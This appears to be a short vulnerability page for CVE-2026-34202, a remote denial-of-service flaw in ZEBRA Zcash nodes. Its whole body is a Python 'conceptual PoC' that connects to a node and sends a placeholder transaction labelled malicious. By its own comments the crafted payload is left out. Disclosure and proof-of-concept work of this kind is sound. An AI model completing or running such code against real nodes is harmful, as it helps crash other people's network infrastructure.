CVE-2026-34202 ZEBRA节点远程拒绝服务漏洞

import socket import struct def send_malicious_transaction(target_ip, target_port): """ Conceptual PoC for CVE-2026-34202. This script sends a crafted V5 transaction payload to trigger a panic in ZEBRA. Note: Actual transaction construction requires Zcash consensus logic. This is a skeleton demonstrating the network interaction. """ try: # Connect to the ZEBRA node s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # A malicious V5 transaction payload would go here. # In a real exploit, this byte array would be crafted to pass deserialization # but fail ID calculation. # Example placeholder header for a transaction (version 5) # version = struct.pack('<I', 5) # payload = version + b'\x00' * 100 # Padding/Dummy data # Simulating sending the payload payload = b'\x05\x00\x00\x00' + b'A' * 200 # Placeholder for crafted transaction s.sendall(payload) print(f"[+] Malicious payload sent to {target_ip}:{target_port}") response = s.recv(1024) print(f"[+] Response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": target_ip = "127.0.0.1" target_port = 8233 # Default Zcash/ZEBRA port send_malicious_transaction(target_ip, target_port)